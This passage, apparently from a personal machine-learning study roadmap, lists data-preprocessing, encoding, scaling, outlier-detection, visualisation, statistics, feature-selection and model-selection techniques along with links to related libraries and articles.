SMOTEENN (SMOTE with Edited Nearest Neighbours), SMOTE-TL, SMOTE-EL, etc. to eliminate noise in the imbalanced data sets 16.One-Class Algorithms,One-Class Support Vector Machines,Isolation Forests,Minimum Covariance Determinant,Local Outlier Factor,Mahalanobis Distance for One Class Classification 17.BalancedBatchGenerator https://imbalanced-learn.org/stable/references/generated/imblearn.keras.BalancedBatchGenerator.html 18.train_test_split stratify attribute , stratify split 19. https://github.com/pradeepdev-1995/databalancer Meta’s balance package https://github.com/facebookresearch/balance c.Remove noise data d.Format data d.Discretize a.Equal width binning b.Equal frequency binning c.K-means Binning d.Discretization by Decision Trees e.ChiMerge f.Arbitrary Discretization g.Quantile h.Custom Discretization Discretisation plus categorical encoding,Discretisation plus encoding Discretisation with classification trees,Domain knowledge discretisation Data Binning Binning based on distribution (quantile-cut),Binning based on values (cut) Bucketing , quantile bucketing ,Clipping e.Handle categorical data Ordinal,Nominal,cyclic,binary categorical variables 1.One Hot Encoding , dummy, and effect coding,Similarity Encoding,Binary Encoding Rainbow Method for Label Encoding 2.Count Or Frequency Encoding 3.Ordinal encoding,Nominal Encoding,Monotonic ordinal encoding,Target Guided Ordinal Encoding,Target Guided Mean Encoding,Target-Mean-Encoding 4.Target encoding / Mean encoding,GapEncoder,MinHashEncoder,Target guided ordinal encoding,Bayesian Target Encoding Target Encoding,K-Fold Target Encoding,Leave-One-Out Target Encoding,Leave One fold out Target Encoding,Target Encoding with a Weighted Mean 5.Probability Ratio Encoding,Rank Encoding,Polynomial Encoding,Backward Difference Encoding 6.label encoding or .cat.codes ,Label Encoding with Rainbow Method 7.probability ratio encoding 8.woe(Weight_of_evidence) Word2Vec(word Word embedding) 9.one hot encoding with multi category (keep most frequently repeated only) (One hot encoding of top categories) 10.feature hashing,CatBoost Encoding 11.sparse csr matrix 12.entity embeddings,Categorical Embeddings 13.binary encoding,Base-N Encoding 14.Rare label encoding 15.Leave-one-out(Loo) encoding,Generalized Linearn Mixed Model 16.hash encoding,MinHashEncoder,SimilarityEncoder,DatetimeEncoder,SuperVectorizer,FeatureHasher,DictVectorizer,HashingVectorizer,DecisionTreeEncoder 17.dummy encoding,NaN Encoding,bin counting scheme,effect coding scheme 18.Helmert Encoding,Backward Difference Encoding,James-Stein Encoding,M-estimator Encoding,Thermometer Encoder,Bayesian Encoders,Effect Encoding Helmert Encoding,Base N Encoding,Hash Encoding,Effect or Sum or Deviation Encoding,Backward Difference Encoding,M-Estimator Encoding,James- Stein Encoding,Thermometer Encoding,CatBoost Encoding,Backward Difference Encoding,Binary Encoding,NaN encoding Polynomial encoding,Expansion encoding,Probability Ratio,Binary encoding,cat boost encoder,glm encoder,m-estimte,sum coding, polynomial Encoding,PRatioEncoder,DecisionTreeEncoder,Similarity Encoding,BackwardDifferenceEncoder GapEncoder,MinHashEncoder,TargetEncoder,Polynomial Encoding,James-Stein Encoding,MultiLabelBinarizer,SumEncoder,Quantile Encoder,Summary Encoder ,Base N Coding Transform your categorical columns with imperio SmoothingTransformer entity encoder for categorical variable https://contrib.scikit-learn.org/category_encoders/ Automatically selects the best encoder https://github.com/dirty-cat/dirty_cat Improve ML Model Performance by Combining Categorical Features https://towardsdatascience.com/improve-ml-model-performance-by-combining-categorical-features-a23efbb6a215 https://towardsdatascience.com/beyond-one-hot-17-ways-of-transforming-categorical-features-into-numeric-features-57f54f199ea4 https://towardsdatascience.com/how-to-encode-categorical-data-d44dde313131 https://towardsdatascience.com/python-for-finance-7-useful-libraries-that-you-should-know-e422b9e9aaba f.Scaling of data 1.Normalisation 2.Standardization(StandardScaler) 3.Robust Scaler not influenced by outliers because using of median,IQR 4.Min Max Scaling 5.Mean normalization 6.maximum absolute scaling 7.Power Transformer Scaler 8.Scaling To Median And Quantiles,Scaling to minimum and maximum values,Scaling to the vector norm 9.unit vector scaler 10.Z-score standardization https://www.analyticsvidhya.com/blog/2020/07/types-of-feature-transformation-and-scaling/?utm_source=linkedin&utm_medium=KJ|link|high-performance-blog|blogs|44204|0.375 Probability and Statistics Packages : PyMC3, tensorflow-probability,Pyro,GPyTorch,hmmlearn,pomegranate,GPflow,patsy,pingouin,Orbit Q-Q plot or Shapiro-Wilk Normality Test or lilliefors test or Jarque-Bera test or Kolmogorov-Smirnov or Anderson-Darling test is used to check whether feature is guassian or normal distributed required for linear regression,logistic regression to Improve performance if not distributed then use below methods to bring it guassian distribution normal test,Histogram,Q-Q plot,KDE plot,Skewness and Kurtosis for check normal distribution Fitter Library Finding the Best Distribution that Fits Your Data https://towardsdatascience.com/finding-the-best-distribution-that-fits-your-data-using-pythons-fitter-library-319a5a0972e9 anderson teset use for check any distribution Basic Distributions - PDF, PMF, CDF, PPF,Unform, Gaussian, Bernoulli, Multinomial,Normal Distribution,Poisson, Exponential, Geometric, Log-normal distribution, Pareto/Power Law Distribution b.Logarithmic Transformation,LogCpTransformer c.Reciprocal Trnasformation d.Square Root Transformation e.Exponential Transdormation f.BoxCOx and Yeo-Johnson Transformation g.log(1+x) Transformation h.johnson i.power transformations https://towardsdatascience.com/when-and-how-to-use-power-transform-in-machine-learning-2c6ad75fb72e g.Quantile Transformation ,Arcsin Transformation , Inverse of Log,Inverse of Exponential,Inverse of Square Root,Square of Log,Square root of Exponential Root transformation,Cube root transformation,Cosine Transformation,SplineTransformer,FunctionTransformer,ArcsinTransformer Left skewness (use powers) Squares transformation,Cubes transformation,High powers g.Remove low variance feature by using VarianceThreshold remove Duplicate data,Low variation data,Irrelevant data,Incorrect data remove Low entropy of categorical attributes h.Same variable(only 1 variable) in feature then remove feature i.Outilers removing outilers depond on problem we are solving https://github.com/jainyk/package-outlier 2 type of outilers available: Global outiler(single value/data point that deviates from the distribution), Local outiler,Contextual (conditional) outliers,Collective outliers(Group of datapoint deviates from the distribution) eg: incase of fraud detection outilers are very important methods to find outiler: Tukey’s fences ,KNN distance,Autoencoders,Standard Deviation,zscore,boxplot,scatter plot,histogram,Violin Plot,IQR,TensorFlow_Data_Validation,svm,One-Class SVM,Isolation Forest,kmeans,DBSCAN,K Means Clustering,Percentile,knn,autoencoder,local outiler factor,One-Class Classification,Medıan Absolute Devıatıon Automatic Outlier Detection:Isolation Forest,DBSCAN,Local Outlier Factor,Standard Deviation Approach,K Means Clustering,Minimum Covariance Determinant,Robust Random Cut Forest,DBScan Clustering,One-Class Classification,One-Class SVM,Autoencoder,Outlier Detection using In-degree Number,Histogram-based Outlier Detection,Robust Covariance,PyNomaly,angle-based outlier detection (ABOD),k-Nearest Neighbors Detector,Elliptic Envelope,Cluster-based,Local Outlier Factor,Histogram-based Outlier Detection outiler treatment: Keep them,mean/median/random imputation,drop,discretization (binning),Winsorization,treat as seperate group,replace with resperctive percentiles,standardize and scale the data,transformation(log,scaling,sqrt,power),Replace the outlier values with a suitable value (Like 3rd deviation),Percentile Based Flooring and Capping,Binning,Trimming,Treating outliers as missing values,Top/bottom/zero coding,winsorizing,robust scaler,log transformation,binning,regularisation,Discretization,arbitrary value Outlier capping with IQR Outlier capping with mean and std Outlier capping with quantiles Arbitrary capping Separation: If the amount of the outlier is higher than the normal then we can separate them from the main data and fit the model on them separately Use a Different algorithm that is not sensitive to outliers Segment data so outliers are in a separate group Weighted means (which put more weight on the “normal” part of the distribution) Trimming: Remove outliers from dataset. However, it can remove large proportion of data. Capping: No data is removed. However, it distorts variable distribution. Missing data: The outliers are treated as missing data. Discretization: The outliers are put into lower and upper bins. Arbitrary capping: Domain knowledge of the variable is required to cap the min and max Winsorization: Truncate or cap extreme values to reduce the impact of outliers Transformation: Apply logarithmic or square root transformations Modeling techniques: Use robust regression or tree-based models Outlier removal: Remove the values with careful consideration if they pose an extreme challenge ML model which are not sensitive to outliers Like:-KNN,Decision Tree,SVM,NaïveBayes,Ensemble PyOD: A Python Toolkit For Outlier Detection https://analyticsindiamag.com/guide-to-pyod-a-python-toolkit-for-outlier-detection/ TODS: An Automated Time-series Outlier Detection System https://github.com/datamllab/tods https://towardsdatascience.com/tods-detecting-outliers-from-time-series-data-2d4bd2e91381 anomalib anomaly detection library https://github.com/openvinotoolkit/anomalib if outiler present then use robust scaling alibi-detect https://github.com/SeldonIO/alibi-detect#adversarial-detection https://docs.seldon.io/projects/alibi-detect/en/latest/ https://medium.com/towards-artificial-intelligence/outlier-detection-and-treatment-a-beginners-guide-c44af0699754 https://towardsdatascience.com/two-outlier-detection-techniques-you-should-know-in-2021-1454bef89331 j.Anomaly anomaly-detection-resources https://github.com/yzhao062/anomaly-detection-resources Types of Anomalies : Point anomalies,Contextual anomalies,Collective anomalies,Group Anomalies,Spatial Anomalies,Temporal Anomalies clustering techniques to find it Timetk https://towardsdatascience.com/timetk-the-r-library-for-time-series-analysis-9822f7720318 Isolation Forest(for Big Data),Z score,dbscan,Local Outlier Factor,One-Class Support Vector Machine,Autoencoders,knn,Time Series Analysis,Elliptic EnvelopeInterquartile Range,Median Absolute Deviation,K-Nearest Neighbours,Fast-MCD,Auto Encoders,K-means,Histogram-based,pca,K-means,Gaussian Mixture Model,Autoencoder,Hidden Markov Models (HMM) 𝐏𝐲𝐎𝐃 Local Correlation Integral (LCI),Histogram-based Outlier Detection (HBOS),Angle-based Outlier Detection (ABOD),Clustering-Based Local Outlier Factor (CBLOF),Minimum Covariance Determinant (MCD),Stochastic Outlier Selection (SOS),Spectral Clustering for Anomaly Detection (SpectralResidual),Feature Bagging,Average KNN,Connectivity-based Outlier Factor (COF),Variational Autoencoder (VAE) bootstrapping to remove the influence of the outlier data Anomaly detection using PyOD https://pyod.readthedocs.io/en/latest/ https://www.youtube.com/watch?v=QPjG_313GOw https://github.com/yzhao062/pyod https://pyod.readthedocs.io/en/latest/pyod.models.html ADBench https://github.com/Minqi824/ADBench Anomaly Detection Pyfbad https://github.com/Teknasyon-Teknoloji/pyfbad divided into three types:Point/Global Anomalies,Collective Anomalies,Contextual Anomalies https://towardsdatascience.com/a-comprehensive-beginners-guide-to-the-diverse-field-of-anomaly-detection-8c818d153995 https://github.com/zhuyiche/awesome-anomaly-detection https://medium.com/@ODSC/data-sciences-role-in-anomaly-detection-bd976f93d7e3 k.Sampling techniques Random Sampling,Systematic Sampling,Cluster Sampling,Weighted Sampling,Stratified Sampling a.biased sampling b.unbiased sampling l.Feature Creation a.Combination of multiple features with mathematical operations b.Combination of multiple features with a reference value ***3.Exploratory Data Analysis(eda)*** Explore the dataset by using python or microsoft Excel,Atoti,Power BI,Datapane’s,Tableau,TabPy,SAS Business Intelligence and Analytics Tool,QlikView,PyToQlik ,KNIME,Splunk,RapidMiner,Zoho Analytics,Sisense etc... TabPy: Combining Python and Tableau https://www.kdnuggets.com/2020/11/tabpy-combining-python-tableau.html atoti https://www.atoti.io/ https://www.youtube.com/watch?v=Hb6mSXa14oo Datapane’s Create a Beautiful Dashboard in Python in a Few Lines of Code https://towardsdatascience.com/datapanes-new-features-create-a-beautiful-dashboard-in-python-in-a-few-lines-of-code-a3c44523292b Switching from Spreadsheets to Neptune.ai https://neptune.ai/blog/switching-from-spreadsheets-to-neptune-ai Data Analysis using excel https://www.excel-easy.com/data-analysis.html https://www.educba.com/data-analysis-tool-in-excel/ https://www.youtube.com/watch?v=OOWAk2aLEfk Power BI In Jupyter Notebooks https://github.com/microsoft/powerbi-jupyter https://analyticsindiamag.com/microsoft-releases-power-bi-in-jupyter-notebooks/ Mito Generating Python By Editing Spreadsheet https://www.youtube.com/watch?v=yy3-C39ra6s https://trymito.io/?source=twitter1 Automate Pivot Table with Python https://towardsdatascience.com/automate-excel-with-python-pivot-table-899eab993966 OpenPyXL: A Python Module For Excel https://analyticsindiamag.com/guide-to-openpyxl-a-python-module-for-excel/ causal interactive dashboards and beautiful visuals https://www.causal.app/, Visual Programming (Orange) https://orange.biolab.si/ Integrating Tableau With Python https://analyticsindiamag.com/tabpy/ Qlib https://analyticsindiamag.com/qlib/ Data visualization (Matplotlib,Seaborn,DASH,Plotly,Plotly-Express,pyqtgraph,Bokeh,Pandas-Bokeh,Pygal,hvplot,holoviews,chartify,lets-plot,pyqtgraph,glue,plotnine,pygal,bqplot,toyplot,chart,itkwidgets,vedo,ipyvolume,pyvista,glumpy,geopandas,pycountry,geopy,geo-py,pypopulation, geotext,folium,cartopy,gmplo,ipyleaflet,geoviews,geoplot,splot,arviz, hypertools,geoplotlib,Geopandas package,choroplethmaps,Leafmap,Dash,Pydot,Geoplotlib,ggplot,visualizer,Greppo,Altair,folium,geoplot,networkx,graphviz,pydot,pygraphviz,python-igraph,pyvis,pygsp,ipycytoscape,nxviz ipydagred3,Diffbot,etc...) Dashboarding : bokeh,dash,streamlit,panel,visdom ,voila,wave,jupyter-flex,ipyflex,pandas_bokeh Openpxl: Automate Excel Reporting Datapane: A Python Library to Build Interactive Reports Scatterplot,Binned Scatterplot,multi line plot,bubble chart,line charts,bar chart,histogram,boxplot, Pie charts,Line Plot,distplot,Histogram Gantt Chart,bubble charts,area plot,heat map,index plot,violin plot,time series plot,density plot,dot plot,strip plot,plotly,Choropleth Map,Kepler,PDF,Kernel density function,networkx,Scatter_matrix,Bootstrap_plot,functionvis,Higher-Dimensional Plots,3-D Plots,3D Plots With Matplotlib,3D Plots With Plotly,Animated Plot With Plotly,Word Clouds,HoloViz,Horizontal Bar Graphs,Stacked Bar Graphs,Group Bar Graphs,Raincloud Plotsradviz,bootstrap_plot,lag_plot,JoyPy plots,Gantt Chart,Box and Whisker Plot,Waterfall Chart,Pictogram Chart,Timeline,highlight Table,Bullet Graph,Choropleth Map,Word Cloud,Network Diagram,Correlation Matrices,Bubble clouds,Cartograms,Circle views,Dendrograms,Dot distribution maps,Open-high-low-close charts,Polar areas,Radial trees,Ring Charts,Sankey diagram,Span charts,Streamgraphs,Treemaps,Wedge stack graphs, table charts,lollipop charts,distplot,floWeaver hvplot A high-level plotting API for the PyData ecosystem built on HoloViews https://hvplot.holoviz.org/ 50-charts https://towardsdatascience.com/how-did-i-classify-50-chart-types-by-purpose-a6b0aa5b812d all in one https://app.learney.me/ Python Tool For Visualizing and Plotting 2D/3D Scientific Data https://analyticsindiamag.com/guide-to-mayavi-a-python-tool-for-visualizing-and-plotting-2d-3d-scientific-data/ patchworklib - combine multiple py charts easily 7 Techniques to Visualize Geospatial Data https://www.kdnuggets.com/2017/10/7-techniques-visualize-geospatial-data.html data to viz https://www.data-to-viz.com/ Interactive plots directly with pandas https://towardsdatascience.com/get-interactive-plots-directly-with-pandas-13a311ebf426 Top 10 Data Visualization Tools https://www.analyticsvidhya.com/blog/2021/04/top-10-data-visualization-tools/ https://www.xenonstack.com/blog/data-visualization-tools/ https://www.analyticsvidhya.com/blog/2021/03/when-to-use-what-plot-a-beginners-guide-to-select-plots-for-visualization/ https://towardsdatascience.com/8-free-tools-to-make-interactive-data-visualizations-in-2021-no-coding-required-2b2c6c564b5b https://datavizproject.com/ https://datavizcatalogue.com/ https://attachments.convertkitcdnm.com/232198/ee18f415-1406-4e5c-94f1-49a2c6e3ec4e/Statistics-The-Big-Picture-Poster.pdf https://towardsdatascience.com/8-free-tools-to-make-interactive-data-visualizations-in-2021-no-coding-required-2b2c6c564b5b HiPlot (high dimensional data)-https://github.com/facebookresearch/hiplot https://levelup.gitconnected.com/learn-hiplot-in-6-mins-facebooks-python-library-for-machine-learning-visualizations-330129d558ac https://towardsdatascience.com/top-6-python-libraries-for-visualization-which-one-to-use-fe43381cd658 https://www.kaggle.com/abhishekvaid19968/data-visualization-using-matplotlib-seaborn-plotly 𝗞𝗲𝗿𝗮𝘀 𝗠𝗼𝗱𝗲𝗹 𝘃𝗶𝘀𝘂𝗮𝗹𝗶𝘇𝗮𝘁𝗶𝗼𝗻 𝗴𝗲𝗻𝗲𝗿𝗮𝘁𝗼𝗿(ann-visualizer)- 𝗽𝗶𝗽𝟯 𝗶𝗻𝘀𝘁𝗮𝗹𝗹 𝗴𝗿𝗮𝗽𝗵𝘃𝗶𝘇 univariate and bivariate and multivariate analysis model visualization Tensorboard,netron,playground tensorflow,plotly,TensorDash,Dash,Microscope,Lucid distributions(discerte,continous) data distributions-normal distribution,Standard Normal Distribution,Student's t-Distribution,Bernoulli Distribution,Binomial Distribution,Poisson Distribution,Uniform Distribution,F Distribution,Covariance and Correlation Pingouin statistical package https://pingouin-stats.org/index.html https://www.youtube.com/watch?v=zqi51Wu5qC0 Types of Statistics 1.Descriptive Descriptive statistics :Mean, mode, standard deviation, median ,absolute deviation, kurtosis, skewness 2.Inferential Types of data 1) Categorical (nomial,ordinal) 2) Numerical (discerte,continous) random variable(discerte random variable ,continous random variable) Quantile statistics Q1, Q2, Q3, min, max, range, interquartile range Central Limit Theorem,Bayes Theorem,Confidence Interval,Hypothesis Testing,z test, t test,f test,Confidence Interval,1 tail test, 2 tail test,chisquare test,anova test,A/B testing Categorical vs Categorical Chi-square test,Information gain Categorical vs Numerical Student T-test,ANOVA,Logistic regression,Discretize Y (left column) Numerical vs Categorical Student T-test,ANOVA,Logistic regression,Discretize X (row above) Numerical vs Numerical Correlation,Linear Regression,Discretize Y (left column),Discretize X (row above) ***4.Feature selection*** https://github.com/solegalli/feature-selection-for-machine-learning upgini Free automated data enrichment library for machine learning https://github.com/upgini/upgini https://upgini.com/ FeatureSelector https://github.com/WillKoehrsen/feature-selector feature_engine https://github.com/solegalli/feature_engine 1.Filter methods (Removing Constant feature,Removing Quasi constant feature,Removing Duplication feature,Removing Correlated Features,feature importance,chisquare test,Ttest,ftest,vif,anova test,information gain,F-score,Mutual Information,hypothesis test,information gain,Univariate Selection Methods,SelectKBest,SelectPercentile,Variance threshold,Fisher’s Score,Dispersion ratio Mean Absolute Difference (MAD), constant features elimination, quasi-constant features elimination, duplicate feature elimination,univariate method,mutual information, correlation etc...),Correlation Coefficient,Variance Threshold ,Mean Absolute Difference (MAD),Dispersion ratio,Variance inflation,factor Condition Index 2.Wrapper methods (recursive feature eliminiation,Recursive feature addition,SelectKbest,boruta,mRMR,forward feature selection,backward feature elimination,Bi-directional selection,exhaustic feature selection,stepwise selection,step forward selection,step backward selection and exhaustive search etc...) 3.Embedded method (lasso regression,ridge regression,elastic net regression,tree based(Tree-based methods like Random Forest Importance etc...),Feature Selection by Tree importance,Feature selection with decision trees,regression coefficients(logistic,linear coeffiicients),Recursive feature elimination based on importance,Least absolute deviation) 4.Hybrid Method(Recursive Feature Selection,Recursive Feature addition,Recursive feature elimination,Feature Shuffling,Feature performance,Target mean performance,Permutation importance,Population stability index,Target encoding) unsupervised Feature selection:Principal Component Analysis,Independent Component Analysis,Non-Negative Matrix Factorization,t-distributed Stochastic Neighbor Embedding,Autoencoder Single-Agent Reinforcement Learning Feature Selection (SARLFS) ,Multi-Agent Reinforcement Learning Feature Selection (MARLFS) ITMO_FS is a feature selection library https://github.com/ctlab/ITMO_FS Sparse Features - Removing features,LASSO regularization,features dense(pca,Feature hashing),Using models that are robust to sparse features 5.Feature creation feature selection https://medium.com/analytics-vidhya/feature-selection-extended-overview-b58f1d524c1c mrmr_selection automatic feature selection at scale https://github.com/smazzanti/mrmr Feature selector https://github.com/WillKoehrsen/feature-selector Simulated Annealing https://github.com/kennethleungty/Simulated-Annealing-Feature-Selection boruta https://github.com/scikit-learn-contrib/boruta_py https://github.com/Ekeany/Boruta-Shap DropConstantFeatures DropDuplicateFeatures DropCorrelatedFeatures step forward feature selection https://www.kdnuggets.com/2018/06/step-forward-feature-selection-python.html automatic feature selection mrmr https://github.com/smazzanti/mrmr Creating New Features Deep Feature Synthesis https://docs.featuretools.com/en/v0.16.0/automated_feature_engineering/afe.html SequentialFeatureSelector: The popular forward and backward feature selection Alternative feature selection methods Feature shuffling,Feature performance,Target mean performance Automatic Feature Selection : recursive feature elimination and cross-validation Powershap: A Shapley feature selection method https://github.com/predict-idlab/powershap VarianceThreshold,Chi-squared stats,ANOVA using f_classif,Univariate Linear Regression Tests using f_regression,F-score vs Mutual Information,Mutual Information for discrete value,Mutual Information for continues value,SelectKBest,SelectPercentile,SelectFromModel,Recursive Feature Elimination,Extra Trees model 4.Feature Importance a.ExtraTreesClassifier,ExtraTreesregressor b.SelectKBest c.Logistic Regression d.Random_forest_importance,Permutation Feature Importance e.decision tree f.Linear Regression g.xgboost h.Pearson correlation Forward selection,Chi-square,Logit (Logistic Regression model) 5.curse of dimensionality (as dimension increases performance decreases) 6.highly correleated features then can take any 1 feature (multicollinearity) 7.dimension reduction 8.lasso regression to penalise unimportant features 9.VarianceThreshold ,selectkbest 10.model based selection 11.Mutual Information Feature Selection 12.remove features with very low variance (quasi constant feature dropping) 13.Univariate feature selection 14.importance of feature (random forest importance) 15.feature importance with decision trees 16.PyImpetus 17.drop constant features (variance=0) , Drop Highly Correlated Features 18.variance inflation factor(vif) 19.Recursive Feature Elimination RecursiveFeatureAddition 20.exchaustive feature selection 21.Statistical Methods , Hypothesis Testing ,Recursive Feature Elimination 22.Boruta https://github.com/scikit-learn-contrib/boruta_py https://analyticsindiamag.com/hands-on-guide-to-automated-feature-selection-using-boruta/ 23.Sequence Feature Selection, SelectFromModel Missing Value Ratio Analysis,Low Variance Filter,High Correlation Filter,Backward Feature Elimination,Forward Feature Elimination ,SequentialFeatureSelector PyImpetus https://github.com/atif-hassan/PyImpetus https://www.analyticsvidhya.com/blog/2016/12/introduction-to-feature-selection-methods-with-an-example-or-how-to-select-the-right-variables/ Automate your Feature Selection Workflow in one line of Python code https://github.com/AutoViML/featurewiz https://towardsdatascience.com/automate-your-feature-selection-workflow-in-one-line-of-python-code-3d4f23b7e2c4 https://machinelearningmastery.com/feature-selection-with-real-and-categorical-data/ https://machinelearningmastery.com/statistical-hypothesis-tests-in-python-cheat-sheet/ https://www.analyticsvidhya.com/blog/2020/10/a-comprehensive-guide-to-feature-selection-using-wrapper-methods-in-python/ https://towardsdatascience.com/5-feature-selection-method-from-scikit-learn-you-should-know-ed4d116e4172 Feature Engineering Tools https://neptune.ai/blog/feature-engineering-tools?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-feature-engineering-tools https://towardsdatascience.com/practical-code-implementations-of-feature-engineering-for-machine-learning-with-python-f13b953d4bcd PyRasgo https://github.com/rasgointelligence/PyRasgo https://docs.rasgoml.com/rasgo-docs/?_ga=2.209281745.2123722956.1645542654-525286113.1645542654 Automated Feature Engineering Using Deep Feature Synthesis (DFS) https://heartbeat.comet.ml/introduction-to-automated-feature-engineering-using-deep-feature-synthesis-dfs-3feb69a7c00b Automatic Feature Selection in python https://verstack.readthedocs.io/en/latest/#featureselector rulefit https://github.com/christophM/rulefit Featurewiz: Fast way to select the best features in a data select best features featurewiz https://github.com/AutoViML/featurewiz Featuretools: https://github.com/alteryx/featuretools https://analyticsindiamag.com/introduction-to-featuretools-a-python-framework-for-automated-feature-engineering/ AutoFeat: https://github.com/cod3licious/autofeat TSFresh: https://github.com/blue-yonder/tsfresh FeatureSelector: https://github.com/WillKoehrsen/feature-selector unsupervised feature selection technique https://github.com/atif-hassan/FRUFS rulefit https://github.com/christophM/rulefit ***5.Data splitting*** Splitting ratio of data deponds on size of dataset available Training data,Validation data,Testing data ***6.Model selection*** Machine learning https://scikit-learn.org/stable/index.html Choose the Right Machine Learning Algorithm for Your Application https://towardsdatascience.com/how-to-choose-the-right-machine-learning-algorithm-for-your-application-1e36c32400b9 Time Complexity Of Machine Learning Models -https://www.thekerneltrip.com/machine/learning/computational-complexity-learning-algorithms/ interactive tools https://github.com/Machine-Learning-Tokyo/Interactive_Tools mindsdb In-Database Machine Learning https://github.com/mindsdb/mindsdb HTML tables into Google Sheets -https://towardsdatascience.com/import-html-tables-into-google-sheets-effortlessly-f471eae58ac9 Machine Learning Playground https://ml-playground.com/ visual introduction to machine learning http://www.r2d3.us/visual-intro-to-machine-learning-part-1/ draw a dataset from inside jupyter https://pypi.org/project/drawdata/ https://www.youtube.com/watch?v=b0rsDPQ3bjg Visual programming language for machine learning - Kobra https://kobra.dev/ compose generate labels for supervised learning https://github.com/alteryx/compose https://analyticsindiamag.com/guide-to-prediction-engineering-with-compose/ human-learn https://towardsdatascience.com/human-learn-create-rules-by-drawing-on-the-dataset-bcbca229f00 Neural Network https://playground.tensorflow.org/#activation=tanh&batchSize=10&dataset=circle&regDataset=reg-plane&learningRate=0.03&regularizationRate=0&noise=0&networkShape=4,2&seed=0.46672&showTestData=false&discretize=false&percTrainData=50&x=true&y=true&xTimesY=false&xSquared=false&ySquared=false&cosX=false&sinX=false&cosY=false&sinY=false&collectStats=false&problem=classification&initZero=false&hideText=false Microscope https://microscope.openai.com/models https://www.youtube.com/watch?v=y0-ISRhL4Ks Ptpython Autocompletion, Autosuggestion, Docstring https://github.com/prompt-toolkit/ptpython https://towardsdatascience.com/ptpython-a-better-python-repl-6e21df1eb648 3 Tools to Track and Visualize the Execution of your Python Code https://towardsdatascience.com/3-tools-to-track-and-visualize-the-execution-of-your-python-code-666a153e435e ML Code memory Consuming https://towardsdatascience.com/how-much-memory-is-your-ml-code-consuming-98df64074c8f PyGrid Privacy-preserving, Decentralized Data Science https://github.com/OpenMined/PyGrid/ Best and Worst Cases of Machine-Learning Models https://medium.com/towards-artificial-intelligence/best-and-worst-cases-of-machine-learning-models-part-1-36cdb9296611 https://www.youtube.com/watch?v=mlumJPFvooQ&list=PLZoTAELRMXVM0zN0cgJrfT6TK2ypCpQdY skater Machine Learning Model Interpretation https://towardsdatascience.com/machine-learning-model-interpretation-47b4bc29d17f Speedml Speeding up Machine Learning https://towardsdatascience.com/speedml-speeding-up-machine-learning-5dccbf21effd 2-2000x faster ML algos https://github.com/danielhanchen/hyperlearn snapml 30 Times Faster Than Scikit-Learn snapml https://www.zurich.ibm.com/snapml/ scikit-learn-intelex https://github.com/intel/scikit-learn-intelex composer speed-up algorithms for model training https://github.com/mosaicml/composer pdpipe https://github.com/pdpipe/pdpipe pipeline https://scikit-learn.org/stable/modules/generated/sklearn.pipeline.Pipeline.html PHOTONAI A high level Python API for designing and optimizing machine learning pipelines https://www.photon-ai.com/ Machine Learning in Tableau with PyCaret https://towardsdatascience.com/machine-learning-in-tableau-with-pycaret-166ffac9b22e TabNet balances explainability and model performance on tabular data https://towardsdatascience.com/tabnet-e1b979907694 FreaAI That Automatically Finds Weaknesses In ML models https://analyticsindiamag.com/ibm-launches-freaai-that-automatically-finds-weaknesses-in-ml-models/ A.Supervised learning (have label data) Transformers for Tabular Data: TabTransformer https://github.com/lucidrains/tab-transformer-pytorch 1.Regression (output feature in continous data form) linear regression,Multiple Linear Regression,polynomial regression,Exponential Regression,Bayesian Regression,Robust Regression,Huber regressor,support vector regression,Decision Tree Regression,Random Forest Regression,TensorFlow Decision Forests,RANSAC Regression, least square method,linear-tree,Random Forest Regression, Regularized Greedy Forests,xgboost,ridge(L2 Regularization),lasso(L1 Regularization (more sparse)),elastic, Lars,catboost,gradientboosting,adaboost,Explainable Boosting Machine,Histogram-Based Gradient Boost,Stacked Gradient Boosting Machines,LightBoost,CatBoost, XGBoost,autoxgb,NGBoost,XBNet,Chefboost,GPBoost,Local Cascade Ensemble,Principal Component Regression,huber_regression,ransac_regression,theilsen_regression,Linear spline,Isotonic regression,Bin regression,Cubic spline,Natural cubic splin,Exponential moving average,Quantile Regression,Quantile Random Forests,Quantile GBM elsatic net,light gbm,ordinary least squares,cart,Stepwise Regression,Multivariate Adaptive Regression Splines ,Generalised Additive Model(learn non-linear feature),tabnet,Linear Tree regression statsassume Automating Assumption Checks for Regression Models https://github.com/kennethleungty/statsassume Locally Weighted Linear Regression https://towardsdatascience.com/locally-weighted-linear-regression-in-python-3d324108efbf TuringBot https://www.youtube.com/watch?v=LyKzKvjyIPo chefboost is an alternative library for training tree-based models https://github.com/serengil/chefboost growtrees About Cost-Aware Robust Tree Ensembles for Security Applications https://github.com/surrealyz/growtrees 2.Classification (output feature in categorical data form) Binary,Multi-class,Multi-labe Logistic Regression,K-Nearest Neighbors,Support Vector Machine,Kernel SVM,Naive Bayes,Decision Tree Classification,linear-tree,TensorFlow Decision Forests, Random Forest Classification,TensorFlow Decision Forests, Regularized Greedy Forests,xgboost,DART booster,autoxgb,LightGBM,adaboost,Gradient Boost,XBNet,catboost,gaussian NB,LGBMClassifier,LinearDiscriminantAnalysis, Extreme Gradient Boosting Machine, Explainable Boosting Machine,fairgbm ,Chefboost,GPBoost,NGBoost,Local Cascade Ensemble,passive aggressive classifier algorithm,cart,c4.5,c5.0,tabnet,ExtraTreesClassifier,TabPFN https://mlwhiz.com/blog/2019/11/12/dtsplits/?utm_campaign=the-simple-math-behind-3-decision-tree-splitting-criterions&utm_medium=social_link&utm_source=missinglettr-linkedin 4 Useful techniques avoid overfitting in decision trees https://towardsdatascience.com/4-useful-techniques-that-can-mitigate-overfitting-in-decision-trees-87380098bd3c Machine Learning – it’s all about assumptions https://www.kdnuggets.com/2021/02/machine-learning-assumptions.html GPBoost: A Library To Combine Tree-Boosting With Gaussian Process And Mixed-Effects Models https://analyticsindiamag.com/guide-to-gpboost-a-machine-learning-library-to-combine-tree-boosting/ Data and Concept Drift https://evidentlyai.com/blog/machine-learning-monitoring-data-and-concept-drift B.Unsupervised learning(no label(target) data) 1.Dimensionality reduction - PCA,ppa,SVD,LDA,som,tsne,openTSNE,plsr,pcr,autoencoders,kernelpca,Latent Semantic Analysis,Factor Analysis,Locality Preserving Projections,Isometric Mapping,Multiple correspondence analysis (MCA),Multiple factor analysis (MFA),Factor analysis of mixed data (FAMD),vae,CompressionVAE,Gaussian Mixture Model,Bayesian Gaussian Mixture Model non-linear data using Kernel PCA, Non-Negative Matrix Factorization(NMF), IsoMap, t-SNE, and UMAP,TDA(Topological Data Analysis) t-SNE Effectively https://distill.pub/2016/misread-tsne/ 2.Clustering : Centroid-based Model ,Density-based Model ,Distribution-based Model,Connectivity-based model 17 clustering 